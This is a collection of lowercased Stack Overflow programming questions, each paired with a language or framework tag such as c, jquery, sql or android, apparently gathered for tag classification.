counting/finding the boundary points in a 2-d point cloud  there are finite number of points on a 2-d plane each on integer coordinates (x y) such that 0&lt;=x y&lt;100.<br> now what could be done to find out all the boundary points of this set  (algorithm)<br> visualisation of boundary points:<br> imagine a rubber band in your hand.<br> imagine pins sticked at all the points on the plane.<br> now if you release the rubber band such that all the points/pins are inside it  after releasing it will contract.<br> after contraction  the points that deviate the rubber band(make perfect corners) will be the boundary points.<br> image visualisation: <a href= http://in.mathworks.com/help/examples/matlab/boundaryof2dpointcloudexample_03.png  rel= nofollow >image</a>  (posting link to image coz i do not have enough reputation points) consider the yellow line. the image is not perfect visualisation. there s a point at ~(0.8 1) which should lie inside the boundary.,c
set image view height and width in grid view  i want to create a image gallery in my app    i use grid view to display images   but images displaying messed up    how i can display images equal  such as other image gallery app    layout file :   <pre><code>&lt;gridview         android:id= @+id/gallerygridview          android:layout_width= match_parent          android:layout_height= match_parent          android:numcolumns= 3          android:rowcount= 3          android:stretchmode= columnwidth          android:verticalspacing= 0dp          android:horizontalspacing= 0dp  /&gt; </code></pre>   java file:   <pre><code>public class gallerymanager extends baseadapter {     context context;     list&lt;drawable&gt; list;      public gallerymanager(context context   list&lt;drawable&gt; list ) {         this.context = context;         //this.list = list;         this.list = list;     }      @override     public int getcount() {         return list.size();     }      @override     public object getitem(int position) {         return position;     }      @override     public long getitemid(int position) {         return position;     }      @override     public view getview(int position  view convertview  viewgroup parent) {         try {             imageview imageview = new imageview(context);             imageview.setimagedrawable(list.get(position));             imageview.setscaletype(imageview.scaletype.center);             return imageview;         }             catch(exception e){                 log.i( tag    getview:  +e.tostring());             }             return null;     } } </code></pre>,android
c pass a string to function then return a string <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;  int main(void) {     char *abc =  abc ;     char *new_str;     new_str = getstr(&amp;abc);     printf( %s   abc); }  char *getstr(char *str) {     printf(str);     return str; } </code></pre>   what s wrong with the code above,c
blank space between app icon and menu icons  i want to make all my menu icons visible  hence i put android:showasaction= ifroom  and delete app title from the mainactivity.    but still all icons are not showing  rather there is a big gap between app icon and menu icons as below. the rest of the icons are shown when i click on menu button (properties of ifroom). so  can you please tell me how can i remove this big gap between app icon and menu icons     thanks    <img src= https://i.stack.imgur.com/tovtp.png  alt= enter image description here >,android
.remove() does not remove element from the dom  i want to remove an element from the dom using its id     <strong>html</strong>   <pre><code>&lt;div id= no-js &gt;      sorry for the inconvenience&lt;br/&gt;      your browser does not support javascript or it must be  disabled.&lt;br/&gt;      to access the features of our website&lt;br/&gt;&lt;br/&gt;      enable your javascript or upgrade to the browser that supports javascript. &lt;/div&gt; </code></pre>   <strong>jquery</strong>   <pre><code> var x = $( #no-js );   console.log(x.html());  x.remove(); // does not remove the element from dom why   console.log(x.html()); // it displays html content inside it  console.log(x.length); // results 1   x.empty(); // removes the child elements  working as expected  console.log(x.html()); // html content is empty  console.log(x.length); // length is 1 </code></pre>   <code>.remove()</code> does not seem to work as expected   this is the fiddle <a href= http://jsfiddle.net/qgsza/14/  rel= nofollow >http://jsfiddle.net/qgsza/14/</a>,jquery
could some one explane this java loop for me <pre><code>import java.util.random;  class arel {     public static void main(string args[]){         random rand = new random();         int[] number = new int[7];         for(int roll = 1; roll &lt; 100; roll++){             ++number[1+rand.nextint(6)];         }         system.out.println( index\tvalue );         for(int count = 1; count&lt;number.length; count++){             system.out.println(count+ \t +number[count]);         }     } } </code></pre>   <code>++number[1+rand.nextint(6)];</code> is that line mean insert random number for each index,java
error: expected declaration specifiers or  ...  before  {  token  i ve been trying to learn c from a book called <a href= http://rads.stackoverflow.com/amzn/click/0789751984  rel= nofollow >c programming absolute beginner s guide</a> and i have come across a problem and the one bad thing is you can t ask a book a question! typed the error into google and it brought me to this site. the error i m getting is in the question title and this is my code.   <pre><code>#include &lt;stdio.h&gt;   main(  {   //set up the variables  as well as define a few      char firstinitial  middleinitial;     int number_of_pencils;     int number_of_notebooks;     float pencils = 0.23;     float notebooks = 2.89;     float lunchbox = 4.99;       //the information for the first child     firstinitial =  j ;     middleinitial =  r ;      number_of_pencils = 7;     number_of_notebooks = 4;      printf( %c%c needs %d pencils  %d notebooks  and 1 lunchbox\n           firstinitial  middleinitial number_of_pencils          number_of_notebooks);     printf( the total cost is £%.2f\n\n   number_of_pencils*pencils + number_of_notebooks*notebooks + lunchbox);      //the information for the second child     firstinitial = a ;     middleinitial =  j ;      number_of_pencils = 10;     number_of_notebooks = 3;      printf( %c%c needs %d pencils  %d notebooks  and 1 lunchbox\n           firstinitial  middleinitial number_of_pencils          number_of_notebooks);     printf( the total cost is £%.2f\n\n   number_of_pencils*pencills         + number_of_notebooks*notebooks + lunchbox);      //the information for the third child     firstinitial =  m ;     middleinitial =  t ;      number_of_pencils = 9;     number_of_notebooks = 2;      printf( %c%c needs %d pencils  %d notebooks  and 1 lunchbox\n           firstinitial  middleinitial number_of_pencils          number_of_notebooks);     printf( the total cost is £%.2f\n           number_of_pencils8pencils + number_of_notebooks*notebooks + lunchbox);          return0; }  ) </code></pre>   what s wrong with this code,c
why is this html5 document invalid   i m getting pretty confused about an error message i m getting when i try to validate any simple html document without a meta encoding like this:   <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;head&gt; &lt;title&gt;test&lt;/title&gt; &lt;/head&gt; &lt;body&gt;test&lt;/body&gt; &lt;/html&gt; </code></pre>   the w3c validator <a href= http://validator.w3.org >http://validator.w3.org</a> reluctantly accepts the document as valid with just a few warnings when it is pasted into the direct input form  but when the document is uploaded or loaded by uri  validation fails with this error message   <blockquote>    the character encoding was not declared. proceeding using   windows-1252.  </blockquote>   there are two things i don t understand about this error:   <ul> <li>why is a missing character encoding considered an error  when fallback rules exist </li> <li>why is the validator assuming windows-1252 instead of utf-8  like any browser would </li> </ul>   can someone explain these two points please  i m pretty new to this stuff  so please bear with me.,html
what is the advantage of controller without scope   just see the code   <pre><code>var angapp = angular.module( angapp  []);   angapp.controller( testcontroller   [ $http   function ($http) {       var self = this;       self.name = hello ;        self.btnclick=function(){           self.name = hello! button clicked ;       }   }]);     &lt;html&gt;   &lt;head&gt;   &lt;/head&gt;   &lt;body data-ng-app= angapp  data-ng-controller= testcontroller as model &gt;   &lt;div&gt;       {{model.name}}       &lt;/br&gt;       &lt;input type= button  value= click  data-ng-click= model.btnclick(); /&gt;   &lt;/div&gt;   &lt;/html&gt;   </code></pre>   now  tell me if we avoid scope and declare controller like this way <code>testcontroller as model</code> then what will be an advantage or is it only syntactic sugar,angularjs
button style on disable  i need to style a submit button but i only need to apply a style is a button is disabled. i m using jquery but i m not sure how to target it without using id or class. i ve tried something like this but it makes no sense  i think.....   <pre><code>$( input[type= submit ] ).attr( disabled    true ).addclass( disabledclass ); </code></pre>,jquery
how to submit form data with jquery adding id with value <pre><code>$(document).ready(function() {     $( #submit ).click(function () {               // var action = $(this).attr( action   order_confirmation.php );           var $inputs = $( #order :input );           var data =  details=order  + $.map($( input:radio:checked )  function(elem  idx)            {             return  &amp; +$(elem).attr( name )+ = + $(elem).val()+  _  +$(elem).attr( id );           }).join(  );     }); }); </code></pre>   i have use the jquery with form submitting and i have changed the checked radio buttion value with id and i am not able to post a form jquery,jquery
run time viewcontroller  i am creating an app with a tab bar. however  when the app starts  i don t want it to display the tab bar. instead i would like to show a login page. after a successful log in  the tab bar based application should be shown.    is this possible in code  i did it with interface builder.,objective-c
what s the result of a selector with no matches   what happens when you use a selector like this:   <pre><code>$( #myelement ).remove(); </code></pre>   but no element with id  myelement  is actually part of the page  is it undefined  should we take care to make sure this does not happen     thanks,jquery
custom link for each user in php  the standard get query as a link for each user is easy but ugly for the users and search engines.   <pre><code>// this looks ugly website.com/index.php userid=43232  //this is what i want website.com/cooluser </code></pre>   how to make a custom link for every user without creating folders all the time,php
validate a textbox value for the current date in asp.net  i have a calendar control whose value will be displayed in a textbox  i need to validate the textbox value to the current date... it should not be less than current date.....    thanks for ur valuable reply for my last post,asp.net
jquery: add together two data-values from two select fields and display sum conditionally  how to take data-value from two select fields and display the sum of them in div below    <pre><code>&lt;div class= input_field &gt;     &lt;label&gt;type&lt;/label&gt;     &lt;select name= select1  class= dropdown dropdown1 &gt;         &lt;option value selected= selected  data-value= 0 &gt;select entry type&lt;/option&gt;         &lt;option value= 0  data-value= 20 &gt;entry 1 (£20)&lt;/option&gt;         &lt;option value= 1  data-value= 30 &gt;entry 2 (£30)&lt;/option&gt;     &lt;/select&gt; &lt;/div&gt; &lt;div class= input_field &gt;     &lt;label&gt;t-shirt&lt;/label&gt;     &lt;select name= select2  class= dropdown dropdown2 &gt;         &lt;option value selected= selected  data-value= 0 &gt;choose t-shirt&lt;/option&gt;         &lt;option value= none  data-value= 0 &gt;no t-shirt&lt;/option&gt;         &lt;option value= size-xs  data-value= 8 &gt;t-shirt size xs&lt;/option&gt;         &lt;option value= size-s  data-value= 9 &gt;t-shirt size s&lt;/option&gt;         &lt;option value= size-m  data-value= 10 &gt;t-shirt size m&lt;/option&gt;         &lt;option value= size-l  data-value= 11 &gt;t-shirt size l&lt;/option&gt;         &lt;option value= size-xl  data-value= 12 &gt;t-shirt size xl&lt;/option&gt;     &lt;/select&gt; &lt;/div&gt; &lt;div id= entry_fee &gt; &lt;/div&gt; </code></pre>   jquery code below   <pre><code>$( select.dropdown ).change(function() {     var sum = 0;     var1 = $( .dropdown1 :selected ).data( value );     var2 = $( .dropdown2 :selected ).data( value );     sum = var1 + var2;     $( #entry_fee ).html( £  + sum); }) </code></pre>   i would like to hide output if the first dropdown is not selected.    <a href= https://jsfiddle.net/gvub1jp0/  rel= nofollow noreferrer >https://jsfiddle.net/gvub1jp0/</a>,jquery
how to get an ascii value of a nsstring*  pointing to a character   when presented with an <code>@ a </code>  i d like to be able to get it s ascii value of 97.    i thought this does it   <pre><code>nsstring *c = [[nsstring alloc] initwithstring:@ a ]; nslog(@ %d   [c intvalue]); // prints 0  expected 97 </code></pre>   but ... you guessed it (or knew it :)) .. it does not.    <strong>how can i get an ascii value of a nsstring*  pointing to a single character </strong>,objective-c
cross joining two tables  i have a table that looks like this  lets call this table <code>b</code>.    <pre><code>id    boardid    schoolid     subject     cnt1   cnt2  cnt3 .... ================================================================= 1       20         21           f      2       20         21           r 3       20         21           w 4       20         21           m 5       20         30           r 6       20         30           w 7       20         30           m </code></pre>   suppose the counts are just integers. notice that there is no <code>subject = f</code> for <code>schoolid = 30</code>. similarly  for most schools  some <code>subject</code> dosnt exist. you might have a <code>schoolid</code> that has just <code>r  w</code> or some that are just <code>r  m  f</code>..     so what i want to do is have 4 consistent rows for each school  and the row that dosnt exist i want dummy values. i thought about creating a secondary table   <pre><code>drop table #a select * into #a from  ( select [subject_s] =  r   orderno = 1 union all select [subject_s] =  w   orderno = 2 union all select [subject_s] =  m   orderno = 3 union all select [subject_s] =  f   orderno = 4 ) z </code></pre>   and doing some joins on them  but i ve gotten no where. i ve tried inner join  left outer  cross join  everything. i ve even tried to make cartesian product. i think my cartesian product messes up because i have <code>orderno</code> in there so it makes 16 rows per row in the main table. actually typing this out  i realize if i remove the <code>orderno</code>  apply the cartesian product and then add orderno in later  it might work but i am interested to see what you guys can come up with. i am stumped.    end result   <pre><code>id    boardid    schoolid     subject     cnt1   cnt2  cnt3 .... ================================================================= 1       20         21           r      2       20         21           w 3       20         21           m 4       20         21           f 5       20         30           r 6       20         30           w 7       20         30           m 7       20         30           f </code></pre>,sql
how to ccompile c socket programming on my mobile phone using c4droid   i wrote a simple client-server code on my laptop and it works fine .... can same client code can run on c4droid in my mobile phone  without any changes,c
how to create an asp.net application with a default web.config   i am creating an asp.net 2.0 application (using c#)  and for some reason when i create the initial application it doesn t create the web.config file. is this normal  i haven t touched asp.net in some years so i am a little rusty. i tried creating the web.config manually but can t seem to get it just right. how can i create an asp.net application with a bundled web.config file  thanks.,asp.net
geocoder location lookup  i am using this nice rails gem: <a href= https://github.com/alexreisner/geocoder  rel= nofollow >https://github.com/alexreisner/geocoder</a>    a user enters in their location say  san francisco .  this gets stored in the place object attribute.  geocoder then fetches the coordinates and then with the coordinates gets the full address.    model:   <pre><code>geocoded_by :place after_validation :fetch_coordinates after_validation :set_label  reverse_geocoded_by :latitude  :longitude after_validation :fetch_address </code></pre>   this all works fine.  but i would like to customize the final format.  if someone enters  san francisco   geocoder then puts in:  1601-1645 market st  san francisco  ca 94103  usa  to the address.  how can i modify this to save as san francisco  ca  usa,ruby-on-rails
using a c++ method as an objc selector   i will like to do some kind of forwarding in my mixed c++/objc project.    my logic is in c++  and i want to provide a method that belongs to a c++ object instance as a selector to objc. is there anyway to do this     mainly the question is  is there anyway to fake a c++ method into a selector :)  to give it to objc and let it be called back .    thanks in advance  anoide.,objective-c
objective c: formatting numbers with  just enough  decimal places  is there a quick way to format numbers (e.g.  when using appendformat) so that only enough decimal places are shown   e.g.  4.23100 is shown as 4.231  while 5.0000 is shown as just 5.    thanks for reading.,objective-c
assigning a value treated differently  i have this snippet:     <pre><code>#include &lt;stdio.h&gt; #include&lt;conio.h&gt;  void main() {     int x = 10/0;     printf( %d   x);     getch(); } </code></pre>   the above output is <code>10</code>.    but if i run this:   <pre><code>#include&lt;stdio.h&gt; #include&lt;conio.h&gt;  void main() {     int x = 10/2;     printf( %d   x);     getch(); } </code></pre>   the output is <code>5</code>. why     i m using <code>turboc++</code> compiler for <code>windows 7</code> using <code>dosbox</code>.    also  if i m doing like this:   <pre><code>#include&lt;stdio.h&gt; #include&lt;conio.h&gt; void main(){     int  x=10;     x=x/0;    //now it would not compile and gives error } </code></pre>,c
count the number of rows do not match certain condition in other table  <strong>students_records</strong>   <pre><code>+----+-----+-----+  | sr | srn | arn | +----+-----+-----+ | 1  | ge  | aj  | | 2  | ge  | bd  | +----+-----+-----+   </code></pre>   <strong>answer</strong>   <pre><code>+----+-----+-----+ | sr | srn | arn | +----+-----+-----+ | 1  | ge  | aj  | | 2  | ge  | aj  | | 3  | ge  | ne  | | 4  | ge  | bd  | +----+-----+-----+   </code></pre>   i need to  count the number of <code>rows</code> in table <code>answer</code> whose <code>arn value of answer is not equal (!=) to any arn value of students_records</code>.    for the above database  the count will be <strong>1</strong> as <strong>a2</strong> in answers is not in any row of arn of students_records.,mysql
returning value from function into a value being tested by a while loop. c++  i am creating a basic calculator program using constructors by making classes in other  .cpp  files and calling them in header files. the program worked perfectly fine the way i wrote it. i decided to then add a question at the end asking if the user would want to continue by pressing  c  or  c . i created a function to test for this. i am able to return two different values based on if c was pressed or if it was not. <strong>how do i assign that value to  x  which is being tested in the while loop </strong> i want this to either end the program or continue it.    i did not include the header files or  .cpp  files necessary for the constructors  but i don t think they are necessary to find how to set x to the returned value of the function.    <pre><code>#include &lt;iostream&gt; #include  add.h  #include  sub.h  #include  mult.h  #include  div.h   using namespace std;  int cont(char input);  int main() {     char operatr;     int x = -2;     char y;      while (x = 1) {          cout &lt;&lt;  enter operator (+  -  *  or /):  ;         cin &gt;&gt; operatr;           if(operatr == + ){             add ob;             cout &lt;&lt;  would you like to continue  (press \ c\  to continue and any key to escape.) ;             cin &gt;&gt; y;             cout &lt;&lt; (cont(y));             x = (cont(y));         }         if(operatr==  - ){             sub ob;             cout &lt;&lt;  would you like to continue  (press \ c\  to continue and any key to     escape.) ;             cin &gt;&gt; y;             cout &lt;&lt; (cont(y));             x = (cont(y));         }         if(operatr== * ){             mult ob;             cout &lt;&lt;  would you like to continue  (press \ c\  to continue and any key to escape.) ;             cin &gt;&gt; y;             cout &lt;&lt; (cont(y));             x = (cont(y));         }         if(operatr== / ){             div ob;             cout &lt;&lt;  would you like to continue  (press \ c\  to continue and any key to escape.) ;             cin &gt;&gt; y;             cout &lt;&lt; (cont(y));             x = (cont(y));         }     }     return (0); }  int cont(char input) {     int a;     switch(input) {         case  c :             a = -2;             break;          case  c :             a = -2;             break;          default:             a = 0;             break;      } return(a); } </code></pre>,c++
rails app with another browser string  i have a question about browser string in rails.    for example i have rails app with routes:   <pre><code>resources :posts </code></pre>   and this resource create :   <pre><code>post/:id  post/21 post/167 post/356 </code></pre>   but i create a simple blog and i want to rename  :id  to   <pre><code>post/some-name post/another-name post/another-different-name </code></pre>   in post i have title  text field  but i dont know how do this     i know that this can be achieved through manipulation of the :id    can you post some link with detailed answer on this question  or some simple example,ruby-on-rails
proxy omit the range field in the post request  we use post request to upload data to our own webserver which is not implemented obey the strictly http standard.and we add the range field in the post request to tell our server the offset of the uploading file and now we found that some proxy omit this field.is this a standard way i looked up the rfc and didn t find out it s invalid to use range in the post request.how can i solve this problem any advance will be preciated.,html
jquery isn t working. jquery  i have embedded jquery into my doc but for some reason it is not sending an alert can anyone help. here is the code:   <pre><code>&lt;script type= text/javascript  src= jquery.js &gt;      if (jquery) {          alert( jquery is installed );      }  &lt;/script&gt; </code></pre>,jquery
uibutton in another view is not being called  i have this very simple uibutton that usually works   but now i have him in another class of kind uiview   as some menu. in the main view of the app  when i am adding this menu view class- which has that button   the button is not fire the method . why is that   is this has to do with the button delegate that the main view does not see     <pre><code>uibutton *exit = [uibutton buttonwithtype:uibuttontyperoundedrect]; [exit addtarget:self action:@selector(exit:)forcontrolevents:uicontroleventtouchupinside]; exit.frame=  cgrectmake(0 frame.size.height 50 50) ; [exit settitle:@ x  forstate:uicontrolstatenormal]; [exit settitlecolor:[uicolor whitecolor] forstate:uicontrolstatenormal]; [exit setbackgroundcolor:thiscolor];  //exit.layer.cornerradius=8.0;  exit.titlelabel.font=[uifont fontwithname:@ helveticaneue-thin  size:32]; [back addsubview:exit]; </code></pre>   <strong>edit:</strong>    to add this class to the main view i do :   <pre><code>mainmenuview *mm=[[mainmenuview alloc] initwithframe:rect];  mm.tag=1004; [self.view addsubview: mm]; </code></pre>,objective-c
how to compare duration between two different timestamp  how to compare two timestamp and get the difference from those. i am trying to get the duration between two different timestamps. using date  but i am getting exception while comparing.     this how i get the timestamp <strong>01-08-2013 06:19:35</strong>    i am getting exception like <strong>java.text.parseexception: unparseable date:  01-08-2013 06:19:35 </strong>,java
how can you automatically number cross-references in html+css  without javascript   the usual method for creating cross-references in latex is to put a <code>\label</code> inside something you want to refer to later  and then use <code>\ref</code>. so for example  writing <code>as we saw in section~\ref{intro}</code> in the latex source might produce  as we saw in section 1  in the final output. is it possible to get the same effect using just html and css  newer features of css allow sections and so on to be numbered automatically  but i haven t found anything that lets you reference these counter values from elsewhere in the document.    here is a concrete example:   <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;head&gt;     &lt;title&gt;cross references&lt;/title&gt;     &lt;meta charset= utf-8 &gt;     &lt;style type= text/css &gt;         body {             counter-reset: section;         }         section &gt; h1::before {             counter-increment: section;             content: counter(section)  .  ;         }     &lt;/style&gt; &lt;/head&gt; &lt;body&gt; &lt;section&gt;     &lt;h1 id= intro &gt;introduction&lt;/h1&gt;     &lt;p&gt;pineapples contain essential vitamins.&lt;/p&gt; &lt;/section&gt;  &lt;section&gt;     &lt;h1&gt;further discourse on pineapples&lt;/h1&gt;     &lt;p&gt;as we saw in section     pineapples contain essential vitamins.&lt;/p&gt; &lt;/section&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   in this example  all the section headings are prepended with an automatically generated number. i would like to know if there is any html markup or css styling i could use in place of <code>  </code> that will insert the number corresponding to <code>#intro</code>.    i realize i could use <code>&lt;a href= #intro &gt;</code> to create a cross-hyperlink to the introduction  but i d like to include the section number in the link text as well.    if this is not possible with html and css alone  are there any javascript libraries for adding cross-references within a document,html
sql comparing two tables with common id but the id in table 2 could being in two different columns  given the following sql tables:    administrators:   <pre><code>id  name   rating  1  jeff      48  2  albert    55  3  ken       35  4  france    56  5  samantha  52  6  jeff      50 </code></pre>   meetings:   <pre><code>id   originatorid    assitantid 1              3             5 2              6             3 3              1             2 4              6             4 </code></pre>   i would like to generate a table from ken s point of view (id=3) therefore his id could be possibly present in two different columns in the meetings  table. (the statement in does not work since i introduce two different field columns).    thus the ouput would be:   <pre><code>id   originatorid    assitantid 1              3             5 2              6             3 </code></pre>,sql
how to manipulate data in jquery for list data coming from hibernate  code in js page as below   <pre><code>$( #showall ).click(function(){     $.ajax({         type :  get           url  :  rooturl      datatype :  json    contenttype :  application/json        success : function(data){                                   $( #emplist tbody ).remove();                     var employee =data.employee;                     alert(employee.id+ --- +employee.name);                     $(employee).each(function(){                         $( #emplist ).append( &lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;a  href= #  id=   + $(this).id +   &gt;  +                         $(this).find( id ).text()+ &lt;/a&gt;&lt;/td&gt;&lt;td&gt;   + $(this).find( name ).text()+  &lt;/td&gt;&lt;td&gt;   +                         $(this).find( sal ).text()+ &lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt; );                     });                 }     }); }); </code></pre>   response is coming as below. how can i manipulate in jquery   <pre><code>{ employee :[{ id : 1   name : vcv   sal : 4545 } { id : 2   name : dfdf   sal : dfdf }]} </code></pre>,jquery
operator in function parameter   i have the folloing code   <pre><code>var func = function(a  b  c) {     //some code };  $( whatever ).on( function(e){     func( e.originalevent &amp;&amp; e.originalevent.target);  //&lt;- wtf  }); </code></pre>   what does the operator in the function parameter mean,javascript
is this a retain cycle(property)   i have two viewcontrollers(vca and vcb)  vca it s parent for vcb(i added vcb over vca with addchildviewcontroller)  in both controllers i have an object declared with strong argument. before to present vcb i make somenthing vcb.myobject = self.myobject  can cause this a retain cycle  it s better to use weak argument for object from vcb,objective-c
selecting textbox in a form  i have the following query:   <pre><code>$( input:text ).somefunction(); </code></pre>   how can i also include a button and textarea in the above code without using classes,jquery
c: why doesn t fgets function work   i m writing a program to create a linked list node. after that  i add some functions (insert search update and print). the linked list contains number  name  and quantity on hand.     the main function prompts users to enter an operation code  then calls a function requested actions.   <pre><code>    main() {         char code;         int c;         for(;;)         {             printf( i: insert\ns: search\nu: update\np: print\n );             printf( enter operation code:  );             scanf( %c  &amp;code);             while((c=getchar() )!=  \n &amp;&amp; c!=eof);             switch(code)                 {                     case  i : insert();                         break;                     case  s : search();                         break;                     case  u : update();                         break;                     case  p : print();                         break;                     case  q :return 0;                     default: printf( illegal code\n );                         break;                 }             printf( \n );            } } </code></pre>   all function work correctly. however  in the insert function  i use fgets statement to get the string input from the user. (name_len = 25)   <pre><code>void insert() {     node *previous *current *new_node;     new_node = malloc(sizeof(node));     printf( enter part number:  );     scanf( %d  &amp;new_node-&gt;number);     for(current = inventory previous=null;         current != null&amp;&amp; new_node-&gt;number &gt; current-&gt;number;         previous = current current = current -&gt; next);     if(current != null &amp;&amp; new_node -&gt;number == current-&gt;number)     {         printf( part already exists.\n );         free(new_node);          return;     }     printf( enter name part:  );     fgets(new_node-&gt;name name_len+1 stdin); // i use fgets to input string name     printf( enter quantity on hand:  );     scanf( %d  &amp;new_node-&gt;on_hand);     new_node -&gt; next = current;      // move to the next node      if(previous == null)     inventory =new_node;     else     previous-&gt;next = new_node;  } </code></pre>   unfortunately  this code doesn t work. the program shows that   <pre><code>i: insert s: search u: update p: print enter operation code: i enter part number: 2 enter name part: enter quantity on hand: 3 </code></pre>   as you can see that  the name part was missed.     moreover  after inserting a new node  the program automatically shows the default case in the switch.   <pre><code>i: insert s: search u: update p: print enter operation code: i enter part number: 2 enter name part: enter quantity on hand: 3  i: insert s: search u: update p: print enter operation code: illegal code </code></pre>   can you explain to me what happens  pls .,c
most efficient way to iterate through nested lists containg a complex object  i m building a c# csv file comparer.     i have three classes  two of them contains a list of the child classes...   <pre><code>public class excelschema   {     public string schemaname { get; set; }     public list&lt;rowobjects&gt; rowobjects { get; set; } }  public class rowobjects    {     public int rownumber { get; set; }     public list&lt;rowobject&gt; rowobjectlist { get; set; }  }  public class rowobject {      public int colnum { get; set; }     public int rownum { get; set; }     public string colletter { get; set; }     public string rowvalue { get; set; }     public string cellvalue { get; set; } } </code></pre>   once the collections are populated  what is the most efficient and best method for iterating through each object in the child list  what is the best way to comparer it against another parent class     -thanks,c#
doing 2 things at the same time in java  well  i m working on an online game in java. i have a client and a server. and the speech system waits for a new message to be displayed like this:   <pre><code>public void addspeech(string msg) {     string newmsg = parsel10n(msg);     m_narrator.addspeech(parsel10n(newmsg));     while (!m_narrator.getcurrentline().equalsignorecase(newmsg))       ;     while (!m_narrator.getadvancedline().equalsignorecase(newmsg))       ;  }  </code></pre>   the problem is.. the rest of the application stops because of the while loops. i don t see any other players move or see the chat while in this loop. is there a way i could run this method without touching the rest of the application (client) with the loops  should threads be involved  i hope you d be able to answer me.,java
convert string into iboutlet uibutton object name  there are 24 buttons that their labels change from a function driven by a uisegmentedcontrol that has 7 segments. there is also a uipickerview with 9 different objects. these two dynamically change the labels of the buttons. then  when a button is pressed i have to know the uipickerview object that is selected  the uisegmentedcontrol selection and which button is this.    my function that receives and executes is this:   <pre><code>- (int)buttonplaycontroller:(int)buttonpressed {     nsstring *button = [nsstring stringwithformat:@ %@%i   @ button   buttonpressed];     if (button.titlelabel.text == @ 1c ) {         [self play1c];     }    else if .....  } </code></pre>   the function receives a number (the button number) and combines the string name to create the <code>uibutton</code> name  e.g. if the function receives number 8 then the <code>uibutton</code> name is <code>button8</code> (i already have on my .h file: <code>iboutlet uibutton *button8;</code>)    i remember these work on php but what about object c  what do i have to change for this to work,objective-c
is there a common conversion command to change nsstring to sqlite compatible nsstring  i found there are some special chars   %.... not compatible to sqlite enquiry string. is there a common conversion command to change nsstring to sqlite compatible nsstring in objective-c     welcome any comment    thanks    interdev,iphone
select from one table depending on second table without join  i have two tables that i can perfectly query seperately.    <code>table1</code> stores ranges:   <pre><code>select range_id  range_from  range_to from table1; </code></pre>   <code>table2</code> stores ids:   <pre><code>select max(id) from table2 where id between &lt;x&gt; and &lt;y&gt;; </code></pre>   <br> i need a query that for each tuple (<code>range_id</code>  <code>from</code>  <code>to</code>) from <code>table1</code> selects the <code>max(id)</code> from <code>table2</code> such that <code>max(id)</code> is between from and to:   <pre><code>range_id    max(id) --------    ------- foo         3 bar         17 snafu       823467 </code></pre>   i don t see how to accomplish this  since there s nothing to join here.    any ideas,sql
given a set of letters in a string how to get remaining letters in the string in python  i have a string like  letter  now i have another string  ltr  when the string is checked with the previous one the remaining letters are  ete  how can  i extract this from the main string in python. the order of the letters doesn t matter any way we should get the remaining letters,python
datatype not preserved in dictionary  hi i m having trouble storing a datetime object in a dictionary in python. when i try to retrieve the datetime object to compare with another datetime object the returned object is a str not a datetime.   <pre><code>class course(models.model):    startdate = models.datetimefield()  dict = {} mydate = course.startdate dict[ date ] = mydate  today = datetime.datetime.today() if today &gt; dict[ date ]:    pass </code></pre>   assume course.startdate returns a datetime object.,python
full width (vw viewport) image inside fixed parent container  im trying to accomplish this:    <a href= http://codepen.io/mest/pen/okbiu editors=110  rel= nofollow >http://codepen.io/mest/pen/okbiu editors=110</a>     <pre><code>.child-div { width: 100vw;   position: relative;   left: calc(-50vw + 50%);} </code></pre>   but instead of a  child-div  i want to target an img-class  like this:    <a href= http://codepen.io/dantveita/pen/zgdkmd  rel= nofollow >http://codepen.io/dantveita/pen/zgdkmd</a>   <pre><code>.parent-div img { width: 100vw; position: relative; left: calc(-50vw + 50%);}   </code></pre>   when i do this  im getting a horizontal scrollbar  and im not sure why. could anyone explain this to me. and if possible  provide a solution     thanks,css
google-play-service_lib missing or error showing  i m a beginner in android and i want to learn some code projects  so i ve tried to import in my adt bundle and it is showing error in library like <a href= http://postimg.org/image/wobaw7goz/  rel= nofollow >this photo</a>.    actually i want to solve this following <a href= http://postimg.org/image/siizny1h7/  rel= nofollow >photo error</a> too.    i m sorry i don t have enough reputation yet to upload images  i would appreciate if you guide me.,android
python plot shows unusual scaling  i am attempting to display some data using python. using the most recent version of python 2.7  i am using the following class:   <pre><code>class mymplcanvas(figurecanvas):    ultimately  this is a qwidget (as well as a figurecanvasagg  etc.).    def __init__(self):     fig = figure(figsize=(5  4)  dpi=100)     self.axes = fig.add_subplot(111)     # we want the axes cleared every time plot() is called     self.axes.hold(false)      figurecanvas.__init__(self  fig)     self.setparent(none)      figurecanvas.setsizepolicy(self              qsizepolicy.expanding              qsizepolicy.expanding)     figurecanvas.updategeometry(self) </code></pre>   the data being used is pulled from some other part of the system  and i believe it to be correct. it is stored in a float array of 100 values called  current .    with a mymplcanvas called  adc_plot   the following two lines are called to plot the data:   <pre><code>self.adc_plot.axes.plot([k for k in range(self.plotlen)]  self.current   b ) self.adc_plot.draw() </code></pre>   the result i see is this:    <a href= https://i.stack.imgur.com/mttag.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/mttag.png  alt= example plot ></a>    there s a couple of things i don t like about how the y axis is displayed here. i would like a linear y axis with the lowest value at the bottom and the highest at the top. this graph picks y axis values seemingly at random  and you can see that the top value is 0. frankly this display is not very useful for visualizing larger sets of data  since i have no idea how to compare adjacent values with this wonky scaling.    can someone explain to me how to make this plot display a standard y axis,python
android start video recording upon starting an activity  android start video recording upon starting an activity without using buttons  ie when the activity starts video recording also should start without using any other component its working with buttons i tried putting video calling functions in oncreate onstart() etc any idea any one,android
